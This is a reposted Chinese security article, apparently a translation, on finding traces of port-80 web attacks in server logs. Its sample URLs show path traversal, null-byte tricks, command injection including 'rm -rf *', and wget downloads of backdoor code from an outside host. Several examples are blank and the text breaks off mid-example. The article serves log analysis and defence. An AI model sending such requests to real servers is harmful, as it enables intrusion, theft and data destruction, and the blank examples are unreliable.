分享
 
 
 

80端口web服务攻击痕迹

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

I. 摘要

II.详细描述

III. 更进一步

IV. 溢出分析

V. 编码转换

VI. 结论

[摘要]

web站点默认80为服务端口,关于它的各种安全问题不断的发布出来,这些漏洞中一些甚至允许攻击者获得系统管理员的权限进入站点内部,以下是Zenomorph对一些80端口攻击方式的痕迹的研究,和告诉你怎样从日志记录中发现问题。

[详细描述]

下面部分通过一些列子,展示对web服务器和其上的应用程序普遍的攻击,和其留下的痕迹,这些列子仅仅是代表了主要的攻击方式,并没有列出所有的攻击形式,这部分将详细描述每种攻击的作用,和其怎样利用这些漏洞进行攻击。

(1)"." ".." 和 "..." 请求

这些攻击痕迹是非常普遍的用于web应用程序和web服务器,它用于允许攻击者或者蠕虫病毒程序改变web服务器的路径,获得访问非公开的区域。大多数的CGI程序漏洞含有这些".."请求。

Example:

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd

这个列子展示了攻击者请求mosd这个文件,如果攻击者有能力突破web服务器根目录,那么可以获得更多的信息,并进一步的获得特权。

(2)"%20" 请求

%20是表示空格的16进制数值,虽然这个并不代表你能够利用什么,但是在你浏览日志的时候会发现它,一些web服务器上运行的应用程序中这个字符可能会被有效的执行,所以,你应该仔细的查看日志。另一方面,这个请求有时可以帮助执行一些命令。

Example:

http://host/cgi-bin/lame.cgi?page=ls%20-al|

这个列子展示了攻击者执行了一个unix的命令,列出请求的整个目录的文件,导致攻击者访问你系统中重要的文件,帮助他进一步取得特权提供条件。

(3)"%00" 请求

%00表示16进制的空字节,他能够用于愚弄web应用程序,并请求不同类型的文件。

Examples:

http://host/cgi-bin/lame.cgi?page=index.html

这可能是个有效的请求在这个机子上,如果攻击者注意到这个请求动作成功,他会进一步寻找这个cgi程序的问题。

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd

也许这个cgi程序不接受这个请求,原因在于它要检查这个请求文件的后缀名,如:html.shtml或者其他类型的文件。大多数的程序会告诉你所请求的文件类型无效,这个时候它会告诉攻击者请求的文件必须是一某个字符后缀的文件类型,这样,攻击者可以获得系统的路径,文件名,导致在你的系统获得更多的敏感信息

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html

注意这个请求,它将骗取cgi程序认为这个文件是个确定的可接受的文件类型,一些应用程序由于愚蠢的检查有效的请求文件,这是攻击者常用的方法。

(4)"|" 请求

这是个管道字符,在unix系统用于帮助在一个请求中同时执行多个系统命令。

Example:

# cat access_log| grep -i ".."

(这个命令将显示日志中的“..“请求,常用于发现攻击者和蠕虫攻击)

常可以看到有很多web应用程序用这个字符,这也导致IDS日志中错误的报警。

在你的程序仔细的检查中,这样是有好处的,可以降低错误的警报在入侵检测系统中。

下面给出一些列子:

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls|

这个请求命令执行,下面是一些变化的列子

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc|

这个请求在unix系统中列出/etc目录的所有文件

http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame"

这个请求cat命令的执行并且grep命令也将执行,查询出”lame"

(5)";" 请求

在unix系统,这个字符允许多个命令在一行执行

Example:

# id;uname -a

(执行id命令后,紧跟着执行uname命令)

一些web程序用这个字符,可能导致在你的IDS日志中失败的警告,你应该仔细的检查你的web程序,让你的IDS警报失败的几率降低。

(6)"" 请求

应该检查你的日志记录中这两个字符,众多的原因中,首要的一个是这个字符表明了添加数据在文件中

Example 1:

# echo "your hax0red h0 h0" /etc/motd (请求写信息在motd这个文件中)

一个攻击者可以容易的用象上面的这个请求篡改你的web页面。比如著名的RDS exploit常被攻击者用于更改web主页面。

Example 2:

http://host/something.php=Hi%20mom%20Im%20Bold!

你会注意到这里html语言的标志,他同样用了“〈”,“〉”字符,这种攻击不能导致攻击者对系统进行访问,它迷惑人们认为这是个合法的信息在web站点中(导致人们在访问这个联结的时候访问到攻击者设定的地址,这种请求可能会被转变成16进制的编码字符形式,使攻击的痕迹不那么明显)

(7)"!"请求

这种字符请求常用语对SS(Server Side Include) I进行攻击,如果攻击者迷惑用户点击被攻击者设定的联结,和上面的一样。

Example:

http://host1/something.php=

这个列子是攻击者可能会做的,它让一个host2站点上的文件看起来是来自于 host1上面的(当然,需要访问者访问这个被攻击者设定的联结。这种请求可能被转化成16进制的编码伪装,不易发现)

同时,这种方式也可以以web站点的权限执行命令

Example:

http://host/something.php=

这个列子在远程的系统上执行“id"的命令,它将显示这个web站点用户的id,通常是”nobody"或者“www"

这种形式也允许包含隐藏文件。

Example:

http://host/something.php=

这个隐藏文件.htpasswd不会被显示出来,Apache建立的规则会拒绝这种以.ht 形式的请求,而SSI标志会绕过这种限制,并导致安全问题

(8)"

这种攻击用于试图在远程的web应用程序中插入PHP程序,它可能允许执行命令,这取决于服务器的设置,和其他起作用的一些因素(比如php设置为安全模式)

Example: http://host/something.php=

在某些简单的php应用程序中,它可能会在远程系统上以web站点用户的权限执行本地命令

(9)"`" 请求

这种字符后面常用在perl中执行命令,这个字符在web应用程序中不是经常的使用,所以,如果看到它在你的日志中,应该非常小心

Example:

http://host/something.cgi=`id`

一个perl写的有问题的cgi程序,会导致执行id命令

[更进一步]

下面部分将讨论更多的攻击者可能执行的命令,连同被请求的文件,以及如果你有远程执行命令的缺陷,应该怎样检查发现它。这部分只是给你个好的思路,并告诉你的系统发生了什么,攻击者尝试攻击你的系统的痕迹,但并不能列举所有的攻击者使用的命令和请求的方式。

"/bin/ls"

这个命令请求整个路径,在很多的web应用程序中都有这个漏洞,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。再一次提醒,写好的web应用程序(cgi,asp,php...etc)是安全的基础

Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/ls%20-al|

http://host/cgi-bin/bad.cgi?doh=ls%20-al;

"cmd.exe"

这是一个windows的shell,一个攻击者如果访问并运行这个脚本,在服务器设置允许的条件下可以在windows机器上做任何事情,很多的蠕虫病毒就是通过80端口,传播到远程的机器上

http://host/scripts/something.asp=../../WINNT/system32/cmd.exe?dir+e:

"/bin/id"

这是个2进制的文件,它的问题和/bin/ls一样,如果你在日志中很多地方都看到这种请求,很大的可能性是存在远程执行命令漏洞,但并不一定是个问题,也可能是个错误的警报。

它将显示属于哪个用户和属于哪个组

Example:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/id|

http://host/cgi-bin/bad.cgi?doh=id;

"/bin/rm"

这个命令可以删除文件,如果不正确的使用是非常危险的

Examples:

http://host/cgi-bin/bad.cgi?doh=../../../../bin/rm%20-rf%20*|

http://host/cgi-bin/bad.cgi?doh=rm%20-rf%20*;

"wget and tftp" 命令

这些命令常被攻击者用来下载可能进一步获得特权的文件,wget是unix下的命令,可能被用来下载后门程序,tftp是unix和nt下的命令,用来下载文件。一些IIS蠕虫通过tftp来复制自身传播病毒到其他的主机

Examples:

http://host/cgi-bin/bad.cgi?doh=../../../../path/to-wget/wget%20http://host2/Phantasmp.c| http://host/cgi-bin/bad.cgi?doh=wget%20http://www.hwa-security.net/Phantasmp.c;

"cat" 命令

这个命令用来查看文件内容,常用来读重要的信息,比如配置文件,密码文件,信用卡文件和你能够想到的文件

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/cat%20/etc/motd| http://host/cgi-bin/bad.cgi?doh=cat%20/etc/motd;

"echo" 命令

这个命令常用于写数据到文件中,比如“index.html”

Examples: http://host/cgi-bin/bad.cgi?doh=../../../../bin/echo

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有